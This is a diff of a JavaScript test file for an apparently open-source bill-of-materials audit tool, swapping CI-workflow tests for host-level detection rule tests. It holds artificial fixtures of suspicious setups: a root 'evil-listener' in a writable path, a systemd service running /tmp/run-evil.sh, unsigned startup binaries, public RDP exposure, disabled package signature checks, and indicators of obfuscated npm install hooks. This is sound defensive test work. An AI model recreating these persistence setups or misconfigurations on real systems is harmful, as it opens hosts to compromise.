+        ["path", "/home/demo/.local/bin/evil-listener"],
+        ["account", "root"],
+        ["package_source_hint", "user-writable-path"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
     assert.ok(
-      !findings.some((finding) => finding.ruleId === "CI-006"),
-      "safe PR cache workflow should not trigger CI-006",
+      findings.length > 0,
+      "Should flag privileged listener from writable path",
     );
+    assert.strictEqual(findings[0].severity, "high");
+    assert.match(findings[0].message, /evil-listener/);
   });
 
-  it("flags CI-006 for a risky PR cache workflow", async () => {
-    const bom = makeBomFromWorkflowFixture("risk-cache-poisoning.yml");
+  it("should detect risky Public profile firewall rules (OBOM-WIN-011)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-011");
+    assert.ok(rule, "OBOM-WIN-011 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      findings.some((finding) => finding.ruleId === "CI-006"),
-      "risky PR cache workflow should trigger CI-006",
-    );
+    const bom = makeBom([
+      makeComponent("RDP public allow", "", [
+        ["cdx:osquery:category", "windows_firewall_rules"],
+        ["enabled", "true"],
+        ["direction", "in"],
+        ["action", "allow"],
+        ["profile", "Public"],
+        ["local_ports", "3389"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect Public inbound allow rule");
+    assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("does not flag high-risk-trigger rules for a safe push workflow", async () => {
-    const bom = makeBomFromWorkflowFixture("trigger-safe-push.yml");
+  it("should detect invalid Authenticode on startup artifacts (OBOM-WIN-012)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-012");
+    assert.ok(rule, "OBOM-WIN-012 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      !findings.some((finding) =>
-        ["CI-004", "CI-008", "CI-013"].includes(finding.ruleId),
-      ),
-      "safe push workflow should not trigger high-risk-trigger rules",
-    );
+    const bom = makeBom([
+      makeComponent("Updater", "", [
+        ["cdx:osquery:category", "windows_run_keys"],
+        ["path", "C:\\Users\\Public\\updater.exe"],
+        ["cdx:windows:authenticode:status", "NotSigned"],
+        ["cdx:windows:authenticode:signerSubject", ""],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect invalid Authenticode status");
+    assert.strictEqual(findings[0].severity, "critical");
   });
 
-  it("preserves workflow_call producer metadata without triggering unrelated CI findings", async () => {
-    const bom = makeBomFromWorkflowFixture("workflow-call-producer-safe.yml");
+  it("should not treat unresolved Authenticode status as definitively invalid (OBOM-WIN-012)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-012");
+    assert.ok(rule, "OBOM-WIN-012 rule should exist");
 
-    const workflow = bom.formulation[0].workflows[0];
-    const workflowProps = workflow.properties || [];
-    assert.ok(
-      workflowProps.some(
-        (prop) =>
-          prop.name === "cdx:github:workflow:hasWorkflowCallTrigger" &&
-          prop.value === "true",
-      ),
-    );
-    assert.ok(
-      workflowProps.some(
-        (prop) =>
-          prop.name === "cdx:github:workflow:workflowCallInputs" &&
-          prop.value === "target",
-      ),
-    );
+    const bom = makeBom([
+      makeComponent("Updater", "", [
+        ["cdx:osquery:category", "windows_run_keys"],
+        ["path", "C:\\Users\\Public\\updater.exe"],
+        ["cdx:windows:authenticode:status", "UnknownError"],
+      ]),
+    ]);
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      !findings.some((finding) => finding.ruleId === "CI-011"),
-      "producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
-    );
-    assert.ok(
-      !findings.some((finding) =>
-        ["CI-016", "CI-017"].includes(finding.ruleId),
-      ),
-      "safe workflow_call producer should not trigger privileged producer rules",
-    );
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("flags risky workflow_call producers with privileged producer rules", async () => {
-    const bom = makeBomFromWorkflowFixture("workflow-call-producer-risky.yml");
+  it("should detect missing WDAC policy enforcement (OBOM-WIN-013)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-013");
+    assert.ok(rule, "OBOM-WIN-013 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      findings.some((finding) => finding.ruleId === "CI-016"),
-      "risky workflow_call producer should trigger CI-016",
-    );
-    assert.ok(
-      findings.some((finding) => finding.ruleId === "CI-017"),
-      "risky workflow_call producer should trigger CI-017",
+    const bom = makeBom([
+      makeComponent("wdac-active-policies", "observed", [
+        ["cdx:windows:wdac:activePolicyCount", "0"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect missing WDAC policy enforcement",
     );
+    assert.strictEqual(findings[0].severity, "high");
   });
 
-  it("flags workflow-dispatch chains in fork-reachable privileged workflows", async () => {
-    const bom = makeBomFromWorkflowFixture("dispatch-chain-fork-sensitive.yml");
+  it("should detect failed macOS notarization assessments with registration and target paths (OBOM-MAC-007)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-MAC-007");
+    assert.ok(rule, "OBOM-MAC-007 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
+    const bom = makeBom([
+      makeComponent("org.example.agent", "", [
+        ["cdx:osquery:category", "launchd_services"],
+        ["path", "/Library/LaunchDaemons/org.example.agent.plist"],
+        ["program", "/Applications/Suspicious.app/Contents/MacOS/Suspicious"],
+        ["cdx:darwin:codesign:teamIdentifier", "ABCDE12345"],
+        ["cdx:darwin:notarization:assessment", "rejected"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
     assert.ok(
-      findings.some((finding) => finding.ruleId === "CI-018"),
-      "fork-reachable dispatch chain should trigger CI-018",
+      findings.length > 0,
+      "Should detect failed notarization assessment",
     );
-    assert.ok(
-      findings.some((finding) => finding.ruleId === "CI-019"),
-      "explicit fork-aware dispatch chain should trigger CI-019",
+    assert.strictEqual(findings[0].severity, "high");
+    assert.match(
+      findings[0].message,
+      /\/Library\/LaunchDaemons\/org\.example\.agent\.plist/,
+    );
+    assert.match(
+      findings[0].message,
+      /\/Applications\/Suspicious\.app\/Contents\/MacOS\/Suspicious/,
+    );
+    assert.strictEqual(
+      findings[0].evidence.registrationPath,
+      "/Library/LaunchDaemons/org.example.agent.plist",
+    );
+    assert.strictEqual(
+      findings[0].evidence.targetPath,
+      "/Applications/Suspicious.app/Contents/MacOS/Suspicious",
     );
   });
 
-  it("prefers local receiver workflow names in CI-019 findings when correlation exists", async () => {
+  it("should ignore unknown notarization assessments for Apple-managed system apps (OBOM-MAC-008)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((candidate) => candidate.id === "CI-019");
-    assert.ok(rule, "CI-019 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-MAC-008");
+    assert.ok(rule, "OBOM-MAC-008 rule should exist");
 
     const bom = makeBom([
-      makeComponent("dispatch-step", "1.0.0", [
-        ["cdx:github:step:dispatchesWorkflow", "true"],
-        ["cdx:github:step:referencesForkContext", "true"],
-        ["cdx:github:step:referencesSensitiveContext", "true"],
-        ["cdx:github:step:dispatchTargets", "workflow:release.yml"],
-        ["cdx:github:step:hasLocalDispatchReceiver", "true"],
-        ["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
+      makeComponent("Finder.app", "", [
+        ["cdx:osquery:category", "running_apps"],
+        ["bundle_path", "/System/Library/CoreServices/Finder.app"],
         [
-          "cdx:github:step:dispatchReceiverWorkflowFiles",
-          ".github/workflows/release.yml",
+          "bundle_executable",
+          "/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder",
         ],
+        ["cdx:darwin:notarization:assessment", "unknown"],
       ]),
     ]);
 
     const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "CI-019 should match the correlated dispatch step",
+    assert.strictEqual(
+      findings.length,
+      0,
+      "Should not alert on Apple-managed system apps with unknown assessment",
     );
-    assert.match(findings[0].message, /Release workflow/);
-    assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
   });
 
-  it("flags obfuscated npm lifecycle hooks", async () => {
+  it("should ignore rejected notarization on generic installed macOS app inventory (OBOM-MAC-007)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-MAC-007");
+    assert.ok(rule, "OBOM-MAC-007 rule should exist");
+
     const bom = makeBom([
-      makeComponent("suspicious-pkg", "1.0.0", [
-        ["cdx:npm:hasInstallScript", "true"],
-        ["cdx:npm:hasObfuscatedLifecycleScript", "true"],
-        ["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
+      makeComponent("Installed.app", "", [
+        ["cdx:osquery:category", "apps"],
+        ["bundle_path", "/Applications/Installed.app"],
         [
-          "cdx:npm:lifecycleObfuscationIndicators",
-          "ast:buffer-base64,long-base64-literal",
+          "bundle_executable",
+          "/Applications/Installed.app/Contents/MacOS/Installed",
         ],
-        ["cdx:npm:lifecycleExecutionIndicators", "ast:child-process"],
+        ["cdx:darwin:notarization:assessment", "rejected"],
       ]),
     ]);
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "package-integrity",
-    });
-    assert.ok(
-      findings.some((finding) => finding.ruleId === "INT-009"),
-      "obfuscated lifecycle hooks should trigger INT-009",
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(
+      findings.length,
+      0,
+      "Should not alert on generic installed app inventory",
     );
   });
 
-  it("does not flag CI-015 for low-signal outbound workflow steps", async () => {
-    const bom = makeBomFromWorkflowFixture(
-      "outbound-sensitive-context-low-signal.yml",
-    );
+  it("should ignore Apple-managed system launchd services for notarization review (OBOM-MAC-007)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-MAC-007");
+    assert.ok(rule, "OBOM-MAC-007 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      !findings.some((finding) => finding.ruleId === "CI-015"),
-      "low-signal outbound workflow should not trigger CI-015",
+    const bom = makeBom([
+      makeComponent("com.apple.test", "", [
+        ["cdx:osquery:category", "launchd_services"],
+        ["path", "/System/Library/LaunchDaemons/com.apple.test.plist"],
+        ["program", "/usr/libexec/testd"],
+        ["cdx:darwin:notarization:assessment", "rejected"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(
+      findings.length,
+      0,
+      "Should not alert on Apple-managed system launchd services",
     );
   });
 
-  it("flags CI-021 for a high-risk workflow with implicit permissions and sensitive operations", async () => {
-    const bom = makeBomFromWorkflowFixture(
-      "heuristic-implicit-permissions-sensitive.yml",
-    );
+  it("should keep unknown notarization findings for user-controlled macOS launch agents (OBOM-MAC-008)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-MAC-008");
+    assert.ok(rule, "OBOM-MAC-008 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      findings.some((finding) => finding.ruleId === "CI-021"),
-      "implicit-permissions high-risk workflow should trigger CI-021",
+    const bom = makeBom([
+      makeComponent("com.jetbrains.AppCode.BridgeService.plist", "", [
+        ["cdx:osquery:category", "launchd_services"],
+        [
+          "path",
+          "/Users/prabhu/Library/LaunchAgents/com.jetbrains.AppCode.BridgeService.plist",
+        ],
+        [
+          "program",
+          "/Users/prabhu/Applications/Rider.app/Contents/bin/Bridge.framework/Versions/A/Resources/BridgeService",
+        ],
+        ["cdx:darwin:notarization:assessment", "unknown"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 1);
+    assert.strictEqual(findings[0].severity, "medium");
+    assert.match(findings[0].message, /Users\/prabhu\/Library\/LaunchAgents/);
+    assert.match(
+      findings[0].message,
+      /Users\/prabhu\/Applications\/Rider\.app/,
     );
   });
 
-  it("does not flag CI-021 when the workflow declares an explicit permissions block", async () => {
-    const bom = makeBomFromWorkflowFixture(
-      "heuristic-explicit-permissions-sensitive.yml",
-    );
+  it("should render actionable Windows Authenticode findings with registration and target paths (OBOM-WIN-014)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-014");
+    assert.ok(rule, "OBOM-WIN-014 rule should exist");
 
-    const findings = await auditBom(bom, {
-      bomAuditCategories: "ci-permission",
-    });
-    assert.ok(
-      !findings.some((finding) => finding.ruleId === "CI-021"),
-      "explicit permissions block should suppress heuristic CI-021",
-    );
-  });
-});
+    const bom = makeBom([
+      makeComponent("\\Vendor\\Updater", "", [
+        ["cdx:osquery:category", "scheduled_tasks"],
+        ["path", "\\Vendor\\Updater"],
+        ["action", "C:\\ProgramData\\Vendor\\updater.exe"],
+        ["cdx:windows:authenticode:status", "UnknownError"],
+        ["cdx:windows:authenticode:signerSubject", "CN=Unknown"],
+      ]),
+    ]);
 
-describe("formatAnnotations", () => {
-  it("should create CycloneDX annotations from findings", () => {
-    const bom = makeBom([]);
-    const findings = [
-      {
-        ruleId: "CI-001",
-        name: "Unpinned action",
-        severity: "high",
-        category: "ci-permission",
-        message: "Unpinned GitHub Action detected",
-        mitigation: "Pin to SHA",
-        attackTactics: ["TA0001", "TA0004"],
-        attackTechniques: ["T1195.001"],
-        standards: {
-          "owasp-ai-top-10": ["LLM07: Insecure Plugin Design"],
-          "nist-ai-rmf": ["Manage"],
-        },
-      },
-    ];
-    const annotations = formatAnnotations(findings, bom);
-    assert.strictEqual(annotations.length, 1);
+    const findings = await evaluateRule(rule, bom);
     assert.ok(
-      annotations[0].text.startsWith("Unpinned GitHub Action detected"),
+      findings.length > 0,
+      "Should detect unresolved Authenticode status on user-controlled path",
     );
-    assert.match(annotations[0].text, /\| Property \| Value \|/);
-    assert.match(annotations[0].text, /cdx:audit:attack:tactics/);
-    assert.match(annotations[0].text, /cdx:audit:attack:techniques/);
-    assert.match(annotations[0].text, /cdx:audit:standards:owasp-ai-top-10/);
-    assert.ok(
-      annotations[0].annotator.component,
-      "Annotation should have annotator component",
+    assert.strictEqual(findings[0].severity, "high");
+    assert.match(findings[0].message, /\\Vendor\\Updater/);
+    assert.match(findings[0].message, /C:\\ProgramData\\Vendor\\updater\.exe/);
+    assert.strictEqual(
+      findings[0].evidence.registrationPath,
+      "\\Vendor\\Updater",
+    );
+    assert.strictEqual(
+      findings[0].evidence.targetPath,
+      "C:\\ProgramData\\Vendor\\updater.exe",
     );
-    assert.ok(annotations[0].subjects.includes(bom.serialNumber));
   });
 
-  it("should return empty array when cdxgen tool component is missing", () => {
-    const bom = {
-      serialNumber: "urn:uuid:test",
-      metadata: { tools: { components: [] } },
-      components: [],
-    };
-    const findings = [
-      {
-        ruleId: "CI-001",
-        severity: "high",
-        category: "ci-permission",
-        message: "test",
-      },
-    ];
-    const annotations = formatAnnotations(findings, bom);
-    assert.deepStrictEqual(annotations, []);
-  });
+  it("should ignore unresolved Authenticode on Windows startup shortcut files (OBOM-WIN-014)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-WIN-014");
+    assert.ok(rule, "OBOM-WIN-014 rule should exist");
 
-  it("should return empty array when metadata.tools is undefined", () => {
-    const bom = {
-      serialNumber: "urn:uuid:test",
-      metadata: {},
-      components: [],
-    };
-    const annotations = formatAnnotations(
-      [{ ruleId: "X", severity: "low", category: "test", message: "test" }],
-      bom,
-    );
-    assert.deepStrictEqual(annotations, []);
-  });
-});
+    const bom = makeBom([
+      makeComponent("Service Fabric Local Cluster Manager.lnk", "", [
+        ["cdx:osquery:category", "startup_items"],
+        [
+          "path",
+          "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Service Fabric Local Cluster Manager.lnk",
+        ],
+        ["cdx:windows:authenticode:status", "UnknownError"],
+      ]),
+    ]);
 
-describe("hasCriticalFindings", () => {
-  it("should return true when high severity findings exist", () => {
-    const findings = [{ severity: "high" }];
-    assert.ok(hasCriticalFindings(findings, {}));
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
   });
 
-  it("should return false when only low severity findings exist", () => {
-    const findings = [{ severity: "low" }];
-    assert.ok(!hasCriticalFindings(findings, {}));
+  it("should detect yum repositories with gpgcheck disabled (RFS-002)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "RFS-002");
+    assert.ok(rule, "RFS-002 rule should exist");
+
+    const bom = makeBom([
+      {
+        type: "data",
+        name: "internal.repo",
+        version: "configured",
+        purl: "pkg:generic/os-repository/internal.repo@configured",
+        "bom-ref": "pkg:generic/os-repository/internal.repo@configured",
+        properties: [
+          { name: "SrcFile", value: "/etc/yum.repos.d/internal.repo" },
+          { name: "cdx:os:repo:type", value: "yum-repository" },
+          { name: "cdx:os:repo:enabled", value: "true" },
+          {
+            name: "cdx:os:repo:url",
+            value: "https://repo.example.invalid/baseos",
+          },
+          { name: "cdx:os:repo:gpgcheck", value: "0" },
+        ],
+      },
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect disabled gpgcheck");
+    assert.strictEqual(findings[0].severity, "critical");
   });
 
-  it("should use threshold semantics (at or above)", () => {
-    const findings = [{ severity: "high" }];
-    // medium threshold should catch high findings
-    assert.ok(
-      hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
-    );
-    // high threshold should catch high findings
-    assert.ok(hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
-    // critical threshold should NOT catch high findings
-    assert.ok(
-      !hasCriticalFindings(findings, { bomAuditFailSeverity: "critical" }),
+  it("should detect services executing from temporary paths (RFS-005)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "RFS-005");
+    assert.ok(rule, "RFS-005 rule should exist");
+
+    const bom = makeBom(
+      [],
+      [],
+      [],
+      [
+        {
+          name: "evil-service",
+          version: "1.0.0",
+          "bom-ref": "urn:service:systemd:test:evil-service",
+          properties: [
+            { name: "SrcFile", value: "/etc/systemd/system/evil.service" },
+            { name: "cdx:service:manager", value: "systemd" },
+            { name: "cdx:service:ExecStart", value: "/tmp/run-evil.sh" },
+            {
+              name: "cdx:service:packageRef",
+              value: "pkg:deb/debian/evil@1.0.0",
+            },
+          ],
+        },
+      ],
     );
-  });
 
-  it("should respect custom fail severity for medium", () => {
-    const findings = [{ severity: "medium" }];
+    const findings = await evaluateRule(rule, bom);
     assert.ok(
-      hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
+      findings.length > 0,
+      "Should detect writable-path service execution",
     );
-    assert.ok(!hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
-  });
-
-  it("should return false for empty findings", () => {
-    assert.ok(!hasCriticalFindings([], {}));
-    assert.ok(!hasCriticalFindings(null, {}));
+    assert.strictEqual(findings[0].severity, "critical");
   });
 });